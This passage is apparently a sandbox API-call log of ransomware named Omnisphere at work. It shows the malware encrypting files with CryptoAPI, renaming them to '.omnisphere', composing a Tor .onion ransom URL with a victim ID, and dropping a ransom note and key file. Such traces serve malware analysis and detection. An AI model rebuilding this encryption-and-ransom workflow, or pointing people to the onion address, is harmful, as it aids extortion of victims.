pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.582] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.582] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.582] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.582] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.582] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.582] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.582] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.582] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.582] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.582] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.582] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.582] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.583] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.583] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.583] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.583] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.583] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.583] CryptDestroyKey (hKey=0x1639b68) returned 1 [0126.583] CryptReleaseContext (hProv=0x16682c8, dwFlags=0x0) returned 1 [0126.583] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x34f, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0126.583] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0126.583] GetProcessHeap () returned 0x1600000 [0126.583] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2b8) returned 0x16d6e28 [0126.583] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\LX62 bOC84McF_7.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\lx62 boc84mcf_7.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\LX62 bOC84McF_7.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\lx62 boc84mcf_7.lnk.omnisphere")) returned 1 [0126.584] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\LX62 bOC84McF_7.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\LX62 bOC84McF_7.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\LX62 bOC84McF_7.lnk.omnisphere.id" [0126.584] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\LX62 bOC84McF_7.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\lx62 boc84mcf_7.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0126.585] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0126.586] CloseHandle (hObject=0x3c0) returned 1 [0126.586] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0126.586] CloseHandle (hObject=0x288) returned 1 [0126.586] SetEndOfFile (hFile=0x28c) returned 1 [0126.586] FlushFileBuffers (hFile=0x28c) returned 1 [0126.589] CloseHandle (hObject=0x28c) returned 1 [0126.589] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\LX62 bOC84McF_7.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0126.589] GetProcessHeap () returned 0x1600000 [0126.589] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16da838 [0126.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0126.589] GetProcessHeap () returned 0x1600000 [0126.589] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16d58e8 [0126.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16d58e8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0126.589] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0126.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0126.590] GetProcessHeap () returned 0x1600000 [0126.590] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16d7e68 [0126.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16d7e68, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0126.590] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0126.590] GetProcessHeap () returned 0x1600000 [0126.590] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16c0218 [0126.590] PathCombineW (in: pszDest=0x16c0218, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0126.590] GetProcessHeap () returned 0x1600000 [0126.590] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16cf818 [0126.590] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.590] WriteFile (in: hFile=0x28c, lpBuffer=0x16cf818*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16cf818*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0126.590] CloseHandle (hObject=0x28c) returned 1 [0126.590] GetProcessHeap () returned 0x1600000 [0126.590] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16da838 | out: hHeap=0x1600000) returned 1 [0126.590] GetProcessHeap () returned 0x1600000 [0126.590] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162e578 [0126.590] PathCombineW (in: pszDest=0x162e578, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0126.591] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.591] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0126.591] CloseHandle (hObject=0x28c) returned 1 [0126.591] GetProcessHeap () returned 0x1600000 [0126.591] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162e578 | out: hHeap=0x1600000) returned 1 [0126.591] GetProcessHeap () returned 0x1600000 [0126.591] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0126.591] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49d5c89, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x216bacd7, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x216bacd7, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x3d9, dwReserved0=0x0, dwReserved1=0xd3, cFileName="mGFHps.lnk", cAlternateFileName="")) returned 1 [0126.591] GetProcessHeap () returned 0x1600000 [0126.591] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x96) returned 0x167b4e8 [0126.591] PathCombineW (in: pszDest=0x167b4e8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="mGFHps.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\mGFHps.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\mGFHps.lnk" [0126.591] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0126.591] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\mGFHps.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\mgfhps.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.591] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=985) returned 1 [0126.591] GetTickCount () returned 0x115f970 [0126.591] GetTickCount () returned 0x115f970 [0126.592] GetTickCount () returned 0x115f970 [0126.592] GetTickCount () returned 0x115f970 [0126.592] GetTickCount () returned 0x115f970 [0126.592] GetTickCount () returned 0x115f970 [0126.592] GetTickCount () returned 0x115f970 [0126.592] GetTickCount () returned 0x115f970 [0126.592] GetTickCount () returned 0x115f970 [0126.592] GetTickCount () returned 0x115f970 [0126.592] GetTickCount () returned 0x115f970 [0126.592] GetTickCount () returned 0x115f970 [0126.592] GetTickCount () returned 0x115f970 [0126.592] GetTickCount () returned 0x115f970 [0126.592] GetTickCount () returned 0x115f970 [0126.592] GetTickCount () returned 0x115f970 [0126.592] GetTickCount () returned 0x115f97f [0126.592] GetTickCount () returned 0x115f97f [0126.592] GetTickCount () returned 0x115f97f [0126.592] GetTickCount () returned 0x115f97f [0126.593] GetTickCount () returned 0x115f97f [0126.593] GetTickCount () returned 0x115f97f [0126.593] GetTickCount () returned 0x115f97f [0126.593] GetTickCount () returned 0x115f97f [0126.593] GetTickCount () returned 0x115f97f [0126.593] GetTickCount () returned 0x115f97f [0126.593] GetTickCount () returned 0x115f97f [0126.593] GetTickCount () returned 0x115f97f [0126.593] GetTickCount () returned 0x115f97f [0126.593] GetTickCount () returned 0x115f97f [0126.593] GetTickCount () returned 0x115f97f [0126.593] GetTickCount () returned 0x115f97f [0126.593] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1669010) returned 1 [0126.593] CryptImportKey (in: hProv=0x1669010, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639868) returned 1 [0126.593] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0126.594] CryptDestroyKey (hKey=0x1639868) returned 1 [0126.594] CryptReleaseContext (hProv=0x1669010, dwFlags=0x0) returned 1 [0126.594] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3d9, lpName=0x0) returned 0x288 [0126.594] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3d9) returned 0x1480000 [0126.594] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668f88) returned 1 [0126.594] CryptImportKey (in: hProv=0x1668f88, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b28) returned 1 [0126.594] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0126.595] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0126.595] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.595] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.595] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.595] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.595] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.595] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.595] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.595] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.595] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.595] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.595] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.595] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.595] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.595] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.595] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.595] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.595] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.595] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.595] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.595] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.595] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.595] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.595] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.595] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.596] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.596] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.596] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.596] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.596] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.596] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.596] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.596] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.596] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.596] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.596] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.596] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.596] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.596] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, 